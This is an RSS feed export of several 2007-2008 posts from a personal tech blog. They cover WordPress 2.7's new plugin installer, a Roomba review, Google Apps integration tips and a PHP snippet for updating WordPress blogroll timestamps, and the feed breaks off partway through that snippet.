		<title>New WordPress 2.7 Feature &#8211; Plugin Installation</title>
		<link>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/</link>
		<comments>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 21:21:04 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[2.7]]></category>
		<category><![CDATA[author]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[lolcats]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[plugin directory]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress.org]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=292</guid>
		<description><![CDATA[(This post is geared more towards PHP authors and fans of WordPress, so if you&#8217;re not into that sort of thing, why not go look at some pictures of cats instead?)
So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/wordpress-plugin-installation/" type="box_count"></fb:share-button><p>(This post is geared more towards PHP authors and fans of WordPress, so if you&#8217;re not into that sort of thing, why not go look at some <a title="I Can Has Cheezburger?" href="http://icanhascheezburger.com">pictures of cats</a> instead?)</p>
<p>So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in my earlier readings. There was a new menu item on the Plugins menu:</p>
<div id="attachment_293" class="wp-caption alignnone" style="width: 610px"><a rel="attachment wp-att-293" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install1/"><img class="size-full wp-image-293" title="Plugin Install 1" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png" alt="New Menu Item" width="600" height="107" /></a><p class="wp-caption-text">New Menu Item - Install Plugins!</p></div>
<p>Yes, it appears that WordPress now has plugin installation built into it. Similar to the Plugin Upgrade feature introduced in 2.5, 2.7 will be able to download and install plugins directly from WordPress.org&#8217;s plugin directory.</p>
<p>Naturally, I had to try this out, so read on if you want to see what it looks like&#8230;</p>
<p><span id="more-292"></span></p>
<div id="attachment_294" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-294" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install2/"><img class="size-medium wp-image-294" title="Plugin Install 2" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2-300x178.png" alt="The new Plugin Install screen" width="300" height="178" /></a><p class="wp-caption-text">The new Plugin Install screen</p></div>
<p>The new plugin install screen has several ways to find plugins, including all the normal plugin lists from the WordPress Plugin Directory. It also has a pretty good search as well as a fairly large tag cloud at the bottom, if you&#8217;re not entirely sure what you&#8217;re looking for.</p>
<p>Tip for plugin developers: Now might be a good time to look closer at those readme.txt files you&#8217;ve been making for the plugin directory, and be sure that you&#8217;ve got everything nice and neat. Especially think about tags and keywords&#8230; People have to find your plugin somehow.</p>
<div id="attachment_295" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-295" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install3/"><img class="size-medium wp-image-295" title="Plugin Install 3" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3-300x159.png" alt="Choosing a plugin" width="300" height="159" /></a><p class="wp-caption-text">Choosing a plugin</p></div>
<p>Choosing the plugin is just a matter of finding it and then clicking the Install link. When you do, you get to see more info about it first, before installing it.</p>
<div id="attachment_296" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-296" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install4/"><img class="size-medium wp-image-296" title="Plugin Install 4" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4-300x168.png" alt="Plugin Information" width="300" height="168" /></a><p class="wp-caption-text">Plugin Information</p></div>
<p>Note the &#8220;Install Now&#8221; button in the top right corner. Also note that only the description shows up, note of the other normal tabs. I don&#8217;t know if this is going to change or not, but nevertheless, plugin authors should consider that their descriptions will be getting more visibility this way.</p>
<div id="attachment_297" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-297" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install5/"><img class="size-medium wp-image-297" title="Plugin Install 5" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5-300x125.png" alt="Install process" width="300" height="125" /></a><p class="wp-caption-text">Install process</p></div>
<p>Installation is much the same as upgrading, except it&#8217;s now in a thickbox. Yes, upgrading now happens in a nice thickbox too, using this same interface. The description screen is also smart enough to detect when you already have a plugin install and have the latest version of it, and tell you &#8220;Latest Update Installed&#8221; instead of &#8220;Install Now&#8221; and such.</p>
<div id="attachment_298" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-298" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install6/"><img class="size-medium wp-image-298" title="Plugin Install 6" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6-300x81.png" alt="Activating the plugin" width="300" height="81" /></a><p class="wp-caption-text">Activating the plugin</p></div>
<p>After activating, it all goes back to normal. The resulting plugin gets its own subdirectory in the plugins directory, and all is well.</p>
<p>Important note for plugin authors: This sort of thing was already critical for upgrading, but now installing makes it even more so. Your main plugin&#8217;s PHP file and readme.txt file must be in the root of the SVN! You cannot package it up yourself as a ZIP file or anything like that. If it can&#8217;t find the plugin&#8217;s PHP file after downloading it, then your plugin won&#8217;t show up, it won&#8217;t be activated, and it generally won&#8217;t work for anybody.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1-150x116.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png" medium="image">
			<media:title type="html">Plugin Install 1</media:title>
			<media:description type="html">New Menu Item</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1-150x116.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2.png" medium="image">
			<media:title type="html">Plugin Install 2</media:title>
			<media:description type="html">The new Plugin Install screen</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3.png" medium="image">
			<media:title type="html">Plugin Install 3</media:title>
			<media:description type="html">Choosing a plugin</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4.png" medium="image">
			<media:title type="html">Plugin Install 4</media:title>
			<media:description type="html">Plugin Information</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5.png" medium="image">
			<media:title type="html">Plugin Install 5</media:title>
			<media:description type="html">Install process</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6.png" medium="image">
			<media:title type="html">Plugin Install 6</media:title>
			<media:description type="html">Activating the plugin</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6-150x150.png" />
		</media:content>
	</item>
		<item>
		<title>Minor highlights of the life of Otto&#8230;</title>
		<link>http://ottodestruct.com/blog/2007/minor-highlights-of-the-life-of-otto/</link>
		<comments>http://ottodestruct.com/blog/2007/minor-highlights-of-the-life-of-otto/#comments</comments>
		<pubDate>Wed, 12 Sep 2007 05:08:31 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Linkery]]></category>
		<category><![CDATA[Placery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[art-on-tap]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[cooper-young]]></category>
		<category><![CDATA[decatur-beer-festival]]></category>
		<category><![CDATA[festival]]></category>
		<category><![CDATA[homebrew]]></category>
		<category><![CDATA[lorelle]]></category>
		<category><![CDATA[microformats]]></category>
		<category><![CDATA[raifords]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/09/12/minor-highlights-of-the-life-of-otto/</guid>
		<description><![CDATA[Let&#8217;s see, haven&#8217;t posted here in a while&#8230; what to say&#8230;
Lorelle invited me to make some guest posts this month on her blog. I wrote a short little technical ditty about how to integrate Microformats and WordPress Themes. If you&#8217;re into WordPress, or CMS&#8217;s in general, it&#8217;s worth a look. Since I use this site [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/minor-highlights-of-the-life-of-otto/" type="box_count"></fb:share-button><p>Let&#8217;s see, haven&#8217;t posted here in a while&#8230; what to say&#8230;</p>
<p>Lorelle invited me to make some guest posts this month on <a href="http://lorelle.wordpress.com/">her blog</a>. I wrote a <a href="http://lorelle.wordpress.com/2007/09/01/microformats-and-wordpress-themes/">short little technical ditty</a> about how to integrate <a href="http://microformats.org">Microformats</a> and <a href="http://wordpress.org">WordPress</a> Themes. If you&#8217;re into WordPress, or CMS&#8217;s in general, it&#8217;s worth a look. Since I use this site as a sort of test bed, I might also mention that it&#8217;s currently showing nine, count &#8216;em, nine different microformats. And a few other things that aren&#8217;t microformats as well.</p>
<p>Went to the <a href="http://www.dixon.org/index.php?option=com_events&#038;task=view_detail&#038;agid=30&#038;year=2007&#038;month=09&#038;day=07&#038;Itemid=19">Art on Tap</a> beer festival this last weekend. Had a hell of a good time, but was rather disappointed in the food selection. Also, it was one of the only beer festivals I&#8217;ve ever seen where all the beer was poured out of bottles. The exception was the homebrews poured by <a href="http://www.memphisbrews.com/">The Bluff City Brewers</a>, which were all really good. I recall getting back to the Saucer, I don&#8217;t quite recall going home. So clearly, I had a good time. <a href="http://www.paulryburn.com/blog/">Paul</a> posted some <a href="http://www.paulryburn.com/blog/2007/09/art-on-tap-review-and-news-on-upcoming.html">shots of the fest</a>, some of which include yours truly.</p>
<p>The Rapscallions won at Trivia tonight, amazingly enough. Pete has clearly been making the questions harder, as we only scored 79 out of a possible 160-something. Still, that was enough for a tie, and we won the tie-breaker. $50 in the pot for the next party!</p>
<p>I received an invitation to the wedding of Chris, a friend of mine currently living in Atlanta. I kinda wonder about it, the wedding reception is at a beach resort in Alabama, but it&#8217;s in November. Anybody know what the weather is like at Gulf Shores in November? </p>
<p>Along with the invite, I received a summons from Zach for the Bachelor Party in October. Unfortunately, I&#8217;m told that it&#8217;s the same day as the <a href="http://www.decaturga.com/events_beertastingfestival.aspx">Great Decatur Beer Tasting Festival</a>. That&#8217;s just poor planning, man. Although, a beer tasting in the afternoon, followed by a Bachelor Party all evening&#8230; I&#8217;m not sure I&#8217;m capable of that anymore. I&#8217;m not as young as I used to be. Still, it&#8217;s doable, and damnit, I think I&#8217;m going to have to try. And then this weekend, I have the <a href="http://www.cooperyoungfestival.com/">Cooper-Young festival</a> to cope with. Along with a keg party a block away from the festivities.</p>
<p>Oh yeah, and <a href="http://www.raifordsmemphis.com/home.html">Raiford&#8217;s is reopening</a>, with Raiford back at the turntables. Now that I live about 2 blocks away from that point, I can see many 40&#8217;s in my future.</p>
<p>So, the fall is looking busy.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/minor-highlights-of-the-life-of-otto/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
	</item>
		<item>
		<title>Virtual Bartender</title>
		<link>http://ottodestruct.com/blog/2007/virtual-bartender/</link>
		<comments>http://ottodestruct.com/blog/2007/virtual-bartender/#comments</comments>
		<pubDate>Thu, 16 Aug 2007 13:28:02 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[bartender]]></category>
		<category><![CDATA[beer]]></category>
		<category><![CDATA[fridge]]></category>
		<category><![CDATA[liquor]]></category>
		<category><![CDATA[MyFountain]]></category>
		<category><![CDATA[robot]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/08/16/virtual-bartender/</guid>
		<description><![CDATA[Paul found a thing called MyFountain on somebody&#8217;s website. It&#8217;s basically an automated bartender.
Now, I&#8217;ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/virtual-bartender/" type="box_count"></fb:share-button><p><a href="http://paulryburn.com">Paul</a> found a thing called <a href="http://digitalbeverages.com/myfountain.htm">MyFountain</a> on somebody&#8217;s website. It&#8217;s basically an automated bartender.</p>
<p>Now, I&#8217;ve seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer to portion each one out properly. Simple enough. The trick, of course, is programming the computer properly. Running pumps and such is no big deal.</p>
<p>This MyFountain thing takes it to a whole other level. The cheap version (which is still $2500 or so) is a basic bartender. It can go online to get new recipes and such, and it knows what you have in the fridge so it can tell you what you&#8217;re capable of making. The advanced version is basically geared towards managing an entire bar, in that it networks with multiple units, can estimate drinking patterns and call headquarters to schedule deliveries of more beverages automatically, etc, etc. Very clever indeed.</p>
<p>Still, I think it would be a fun project to build my own unit. I&#8217;ll need a mini fridge or freezer of some design to hold the beverages, but I&#8217;ll have to be willing to cut holes in the thing for the necessary tubes to pass through. So if anybody knows of a fridge/freezer design suitable for such a project, capable of holding, say, 6-10 bottles of liquor and possibly 1 or 2 mini kegs, let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/virtual-bartender/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
	</item>
		<item>
		<title>Fun with a Roomba</title>
		<link>http://ottodestruct.com/blog/2007/fun-with-a-roomba/</link>
		<comments>http://ottodestruct.com/blog/2007/fun-with-a-roomba/#comments</comments>
		<pubDate>Wed, 25 Jul 2007 15:25:00 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[amazon]]></category>
		<category><![CDATA[irobot]]></category>
		<category><![CDATA[roomba]]></category>
		<category><![CDATA[roomba-hacking]]></category>
		<category><![CDATA[woot]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/07/25/fun-with-a-roomba/</guid>
		<description><![CDATA[So I purchased a Roomba at the Woot off the other day. After I bought the condo, a good friend of mine (who also lives here) mentioned the device, but didn&#8217;t know the name. Being the consummate geek that I am, I knew he was talking about the Roomba, and furthermore knew that they had [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/fun-with-a-roomba/" type="box_count"></fb:share-button><p>So I purchased a <a href="http://www.amazon.com/gp/product/B000FOCHI4/104-6346279-9318320?ie=UTF8&#038;tag=ottodestruct-20&#038;linkCode=xm2&#038;camp=1789&#038;creativeASIN=B000FOCHI4">Roomba</a> at the <a href="http://woot.com">Woot</a> off the other day. After I bought the condo, a good friend of mine (who also lives here) mentioned the device, but didn&#8217;t know the name. Being the consummate geek that I am, I knew he was talking about the Roomba, and furthermore knew that they had several flavors of it now. And the fact of the matter is that he was right, it seems perfectly suited for this place. So when I saw one at the Woot off for only $120 (+$5 shipping), it seemed like a good idea. In fact, I think it turned out to be one of the best bargains ever.</p>
<p>The one I got is a &#8220;Discovery 4296&#8243; which is nothing more than a word with a number, really. The thing is basically an automatic sweeper. With hardwood or low carpets/rugs (not shag) it&#8217;s clearly perfect. Basically it sweeps the floor with rotating brushes and sweeps the crap into a bin, whereupon you dump it. It&#8217;s particularly good with hair and other small debris, like the weird pebbles that keep falling out of my ceiling. It also does a decent job of dust in general, although it tends to throw it about a bit. But it seems to get it after a few passes.</p>
<p>One thing I do not like is the bin. It&#8217;s too small, and it&#8217;s positioned wrong. The upshot of this is that you have to use it every other day, and you have to be *extremely* careful when emptying it. The first time I emptied it, I dumped a large amount of crap onto the floor. Takes some practice, so expect it.</p>
<p>Naturally, being a geek, I&#8217;m interested in the algorithms involved. It has a few. They probably have technical names, but here&#8217;s the lowdown:<br />
1. Roaming &#8211; It roams off in some random direction for a long distance. This is the primary way that it cleans the center of rooms. However, when you consider it, the center areas of rooms don&#8217;t tend to be the dirty ones.. It&#8217;s the edges that build up the mess. So it has&#8230;<br />
2. Edge finding &#8211; I think the manual calls this wall roaming. It tends to do this a lot, however I&#8217;ve seen it walking the edge of my rug as well. Which is actually a good thing, as those edges tend to pick up debris too. Finally, it has:<br />
3. Spot cleaning &#8211; This is an interesting mode. You can force it by placing it somewhere and hitting the &#8220;spot&#8221; button, but in normal &#8220;clean&#8221; mode, it will wander around and occasionally switch into this mode. A blue light labeled &#8220;dirt detector&#8221; comes on, and it runs around in circles for a while, eventually heading off in some random direction.</p>
<p>Few other things:<br />
- Home base &#8211; If you get the model with the home base charger, then after it&#8217;s satisfied with the area or low enough on battery, it will go home and dock for charging. This can be forced as well with the remote (if you have one). Watching it dock is a lot of fun for your average geek, because the way it does it is clearly via two infrared beams on either side of the dock. It hits them, and turns away from them, back and forth, hunting, until it finds the home point. Very clever.<br />
- Virtual Walls &#8211; These are similar, just infrared transmitters (each takes 2 D-cell batteries!) that shoot out a beam which cause the thing to act like it hit a wall and turn. It will follow the beam just like it follows walls. The beams are a bit wide, so put them back a bit inside doorways and such.</p>
<p>The primary way it knows about things is hitting them. The whole front piece, about 140-150 degrees or so, is a movable bump mechanism. When it hits something, this pushes in and the thing stops and turns around some seemingly random amount, or just a bit in edge finding mode. It also appears to be able to sense distance from any wall, because in edge finding, it will follow a wall very precisely without touching it at all, which is weird, because I can&#8217;t find any obvious sensors there.</p>
<p>As far as cleaning goes, the one I got is basically a sweeper/vacuum. Works great on hardwood, decent on low cut rug/carpet, probably would not work on shag or similar. The gist of it is that it has a side sweeper to pull in things, a front sweeper to push things up, a rotor brush to pull things in, and a ramp to force things into the bin. There&#8217;s also a spinning mechanism inside which might produce some very minor vacuum effect, to get things &#8220;over the hump&#8221; of the bin and keep dust inside. The bin is on the back, and it sucks. Pick the thing upright before removing the bin. You&#8217;ll see the method after 1 spill, trust me.</p>
<p>The docking station does not work particularly well on hardwood floors. It slides, and the Roomba drags it around while trying to disengage. Put it on rug or carpet. I ended up putting it on some carpet samples underneath my bar area. Speaking of which, the dock *MUST* be in an area where it has a pretty good view of the room. Otherwise the Roomba will not find it. So forget a closet or something, it must be in the main area, somewhere.</p>
<p>The cat is completely freaked out by the thing, but the Roomba does not appear to mind his presence. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>It&#8217;s loud. Not as loud as an actual vacuum cleaner, but the Roomba takes longer. However, given that mine has a scheduling feature, I can set it to work when I&#8217;m not here. Haven&#8217;t tried that yet, might try it later this week. The scheduler is cool, built into the remote. You program the times, and then send the schedule to the Roomba and to the virtual wall units. It runs for that time and the wall units turn on at the same moment. Very conservative on battery power that way.</p>
<p>One thing that bugs me is that the remote doesn&#8217;t offer any easy way to really remote control the thing. You can send it commands, but they&#8217;re really more like suggestions as far as I can tell. Which is frankly too much work. It covered my living room and kitchen by itself twice before running out of power, and since I didn&#8217;t follow the charging directions, it didn&#8217;t find home base when it did so. Follow the damn directions, charge it for 16 hours before the first use. Trust me on this one.</p>
<p>Hacking: There are myriad abilities to hack the thing. It has a serial port, and can accept commands to move around and such, as well as provide feedback of all the sensors on it. Worth a look if you&#8217;re into that sort of thing. I&#8217;m considering building a bluetooth serial link to it and hacking it a bit. With some minor effort (okay, maybe not so minor), I could control the thing and make it work much better for my specific space. Given that the unit&#8217;s more or less &#8220;random&#8221; method works pretty well, it does seem to take a while to accomplish anything. I mean, it works, but seems inefficient. I could improve that. I browsed through the documentation on irobot.com while it was working, and it&#8217;s pretty comprehensive. Worth a look if you&#8217;re the hackish type.</p>
<p>All in all, I&#8217;d say it&#8217;s worth the $125. Maybe $170. But not the default $220 price. Find the bargains on it, stick with those. <a href="http://www.amazon.com/?&#038;tag=ottodestruct-20">Amazon</a> has the <a href="http://www.amazon.com/gp/product/B000FOCHI4/104-6346279-9318320?ie=UTF8&#038;tag=ottodestruct-20&#038;linkCode=xm2&#038;camp=1789&#038;creativeASIN=B000FOCHI4">remanufactured</a> ones on the cheap (this is the same one I got). And if you&#8217;re all hardwood with no rugs/carpets, look for the one that actually mops instead of just sweeps and vacuums.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/fun-with-a-roomba/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
	</item>
		<item>
		<title>Fully Integrating Google Apps for your Domain</title>
		<link>http://ottodestruct.com/blog/2007/fully-integrating-google-apps-for-your-domain/</link>
		<comments>http://ottodestruct.com/blog/2007/fully-integrating-google-apps-for-your-domain/#comments</comments>
		<pubDate>Sat, 07 Jul 2007 16:07:36 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[gafyd]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google-apps]]></category>
		<category><![CDATA[google-apps-integration]]></category>
		<category><![CDATA[google-toolbar]]></category>
		<category><![CDATA[integration]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/07/07/fully-integrating-google-apps-for-your-domain/</guid>
		<description><![CDATA[Having two email accounts can be a pain. I&#8217;ve been using my GMail account for a long time, but I like the niceness of my ottodestruct.com domain better. It&#8217;s cleaner, overall. A bit more professional as well. 
I also use Firefox with the Google Toolbar. One of the nice things about it is the little [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/fully-integrating-google-apps-for-your-domain/" type="box_count"></fb:share-button><p>Having two email accounts can be a pain. I&#8217;ve been using my GMail account for a long time, but I like the niceness of my ottodestruct.com domain better. It&#8217;s cleaner, overall. A bit more professional as well. </p>
<p>I also use Firefox with the Google Toolbar. One of the nice things about it is the little GMail icon that checks your GMail every 10 minutes or so, and shows if you have new messages. It also lets you search your email right from the toolbar. Very handy.</p>
<p>However, I also use Google Apps for your Domain for my email. This basically makes all my ottodestruct.com email go through Google and their GMail interface. The Google Toolbar doesn&#8217;t work too well with that. </p>
<p>So I got bored and fixed all that. How to do it can be found after the jump&#8230;</p>
<p><span id="more-71"></span></p>
<p>First, you need to create a Google Account using your Google Apps email address. If, like me, you have both a GMail account and a Google Apps account, then they&#8217;re probably not linked together and you&#8217;re using your GMail account as your main &#8220;Google Account&#8221;. So go here and make a new account using your Google Apps email instead: <a href="https://www.google.com/accounts/NewAccount">https://www.google.com/accounts/NewAccount</a> . Use the same password as your Google Apps Email account.</p>
<p>Next, using the Google Toolbar, click settings and sign out, then sign in with your new Google Account and your Google Apps Email address.</p>
<p>Now, remove or uncheck the old GMail button in the Google Toolbar Options->Buttons tab.</p>
<p>Finally, add the custom button I made by clicking this link: <a href="http://toolbar.google.com/buttons/add?url=http://ottodestruct.com/gmfyd.xml">http://toolbar.google.com/buttons/add?url=http://ottodestruct.com/gmfyd.xml</a></p>
<p>This custom button is virtually identical to the GMail button, except that it has an extra option that will let you type in your domain name. I use &#8220;ottodestruct.com&#8221;, for example.</p>
<p>And that&#8217;s it. The button will check your Google Apps account instead of your GMail account. Nice, huh?</p>
<p>To further integrate things, I&#8217;ve set my Google Apps account to pull my email from my GMail account as well. Setup your GMail account to allow POP access, and to delete messages as they get pulled by POP. Then set your Google Apps Domain email to check an extra account: your GMail account. You may also want to have it put those messages under a separate label (I used &#8220;old email&#8221;). At the same time, you want to add your GMail address as an alternate address. What happens is that your Google Apps account will check your GMail account once an hour and pull over any new messages, putting all your email into one place, nicely labeled. You&#8217;ll also be able to send messages from there using your old GMail address, if necessary. Integrates everything into one nice little package.</p>
<p>While you&#8217;re doing integration, you might want to change your Google Talk client to use your Google Apps account as well. And if you haven&#8217;t done so, you&#8217;ll want to edit your DNS settings to include the TXT records needed to allow Google Apps to connect via Jabber for the Google Talk functionality. This lets your domain talk to other domains (including GMail) and allows all your Google Talk stuff to continue to work on the Google Apps Domain. </p>
<p>It&#8217;s a lot of setup, but the end result is one place for everything, with all the Google Apps functionality working smoothly. If only Google could automate this sort of integration, then everything would be a lot nicer. The functionality is all there, it&#8217;s just a matter of putting all the pieces together.</p>
<p>Google Apps rocks, I highly recommend it.</p>
<p>Additional: Although I have not yet worked out how to make the SendTo button in the Google Toolbar work properly, Elijah linked to a post that gives instructions on making normal &#8220;mailto:&#8221; type links work correctly with the Toolbar and Google Apps. Here&#8217;s the basic instructions:<br />
1. Download and install the Google Toolbar for Firefox<br />
2. Google Tool Bar->Settings->Options->Send With GMail (checked)->OK<br />
3. In the address bar, go to &#8220;about:config&#8221;<br />
4. Find the key &#8220;google.toolbar.mailto.providers.Gmail&#8221;<br />
5. Change the &#8220;/mail/&#8221; portion to &#8220;/hosted/example.com/&#8221; (replace example.com with your domain name).</p>
<p>Now any normal mailto: links on web pages will redirect you to your Google Apps email.</p>
]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2007/fully-integrating-google-apps-for-your-domain/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
	</item>
		<item>
		<title>HOW-TO: Make Wordpress Blogroll&#8217;s smarter</title>
		<link>http://ottodestruct.com/blog/2007/how-to-make-wordpress-blogrolls-smarter/</link>
		<comments>http://ottodestruct.com/blog/2007/how-to-make-wordpress-blogrolls-smarter/#comments</comments>
		<pubDate>Mon, 11 Jun 2007 19:54:59 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[feeds]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[updated-links]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp_list_bookmarks]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2007/06/11/how-to-make-wordpress-blogrolls-smarter/</guid>
		<description><![CDATA[Warning: Heavy geek content ahead. If you&#8217;re not interested in PHP code, you can safely skip this post.
One thing that not a lot of people know about is that Wordpress is capable of checking your bookmarks/blogroll links for you and organizing them according to the time they were last updated.
The reasons people don&#8217;t know this [...]]]></description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2007/how-to-make-wordpress-blogrolls-smarter/" type="box_count"></fb:share-button><p>Warning: Heavy geek content ahead. If you&#8217;re not interested in PHP code, you can safely skip this post.</p>
<p>One thing that not a lot of people know about is that Wordpress is capable of checking your bookmarks/blogroll links for you and organizing them according to the time they were last updated.</p>
<p>The reasons people don&#8217;t know this are:<br />
a) It&#8217;s not automatically setup and working, and<br />
b) It rarely works in the first place.<br />
<span id="more-61"></span><br />
If you look at all the ways you can display links, one option kinda stands out.. In the case of <a href="http://codex.wordpress.org/Template_Tags/wp_list_bookmarks">wp_list_bookmarks()</a>, that option is &#8220;orderby=updated&#8221;.</p>
<p>What does this do? Well, the Blogroll/Bookmarks have a field that is supposed to store the last time that each link was updated. And there&#8217;s a script in the wp-admin directory designed to keep it up to date. The script is named &#8220;update-links.php&#8221; and it&#8230; well&#8230; doesn&#8217;t work.</p>
<p>You see, pingomatic.com is included by default as one of the sites that gets pinged on every new post. So this site probably knows when every blog was updated. More or less. The bright idea at the time was to make the update-links script ask pingomatic when all these links were updated. And that&#8217;s what it still does. The problem with this is that pingomatic&#8230; well&#8230; it kinda sucks. The updated-batch request in it&#8217;s API rarely works. In point of fact, I&#8217;ve <em>never</em> gotten it to work.</p>
<p>So &#8220;update-links.php&#8221;, sadly, sits there. Semi-dead code. Nobody uses the &#8220;orderby=updated&#8221; parameter, because it doesn&#8217;t work without knowing when things were actually updated.</p>
<p>But nowadays, we have something better.. We have RSS feeds. And with a minor bit of code, you can revive your update-links.php. How? Well, one other thing every Blogroll/Bookmark link includes is a special field just for RSS feeds. Scroll down when you add or edit a link to find that field. Most people probably don&#8217;t fill that field in. But now we can make it useful.</p>
<p>The concept is simple: For every bookmark that has an RSS feed filled in, we&#8217;ll get the feed, find the Last-Modified time on the feed, and update our bookmark&#8217;s updated time. Then &#8220;orderby=updated&#8221; will actually work, and we&#8217;ll be able to have our Blogrolls reorder themselves automatically, putting the ones with the latest updates at the top of the list. Neat!</p>
<p>Here&#8217;s how you do it. First, you need to replace update-links.php with this code:</p>
<pre lang="PHP" line="1">< ?php
require_once( dirname( dirname(__FILE__) ) . '/wp-config.php');
require_once( ABSPATH . 'wp-includes/class-snoopy.php');
require_once( ABSPATH . 'wp-includes/rss.php');

if ( !get_option('use_linksupdate') )
	wp_die(__('Feature disabled.'));

$link_rsses = $wpdb->get_col("SELECT link_rss FROM $wpdb->links");
